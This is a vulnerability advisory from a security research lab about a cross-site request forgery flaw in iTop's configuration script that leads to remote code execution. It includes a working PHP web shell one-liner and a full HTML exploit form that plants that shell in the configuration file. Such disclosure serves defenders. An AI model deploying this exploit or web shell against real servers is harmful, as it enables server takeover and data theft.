Advisory ID: HTB23293
High-Tech Bridge Security Research Lab discovered a Remote Code Execution vulnerability in iTop that is exploitable via Cross-Site Request Forgery flaw that is also present in the application. The vulnerability exists due to absence of validation of HTTP request origin in "/env-production/itop-config/config.php" script, as well as lack of user-input sanitization received via "new_config" HTTP POST parameter. A remote unauthenticated attacker can perform CSRF attack and execute arbitrary PHP code on the vulnerable system with privileges of the web server. Successful exploitation of the vulnerability may allow an attacker to execute arbitrary system commands on the web server, gain complete access to vulnerable web application and its databases that may contain very sensitive information. The attacker shall create a malicious web page with CSRF exploit code, trick a logged-in administrator to visit the page, spoof the HTTP request as if it was coming from the legitimate user, and permanently inject malicious PHP code into iTop configuration file. CSRF exploit will inject the following PHP code into iTop configuration file: <? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?> To reproduce the vulnerability, just create an empty HTML file and paste the following CSRF exploit cod into it: <html><body><form action="http://[host]/env-production/itop-config/config.php" method="POST"><input type="hidden" name="new_config" value="<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?>" /><input type="submit" value="Submit request" /></form></body></html>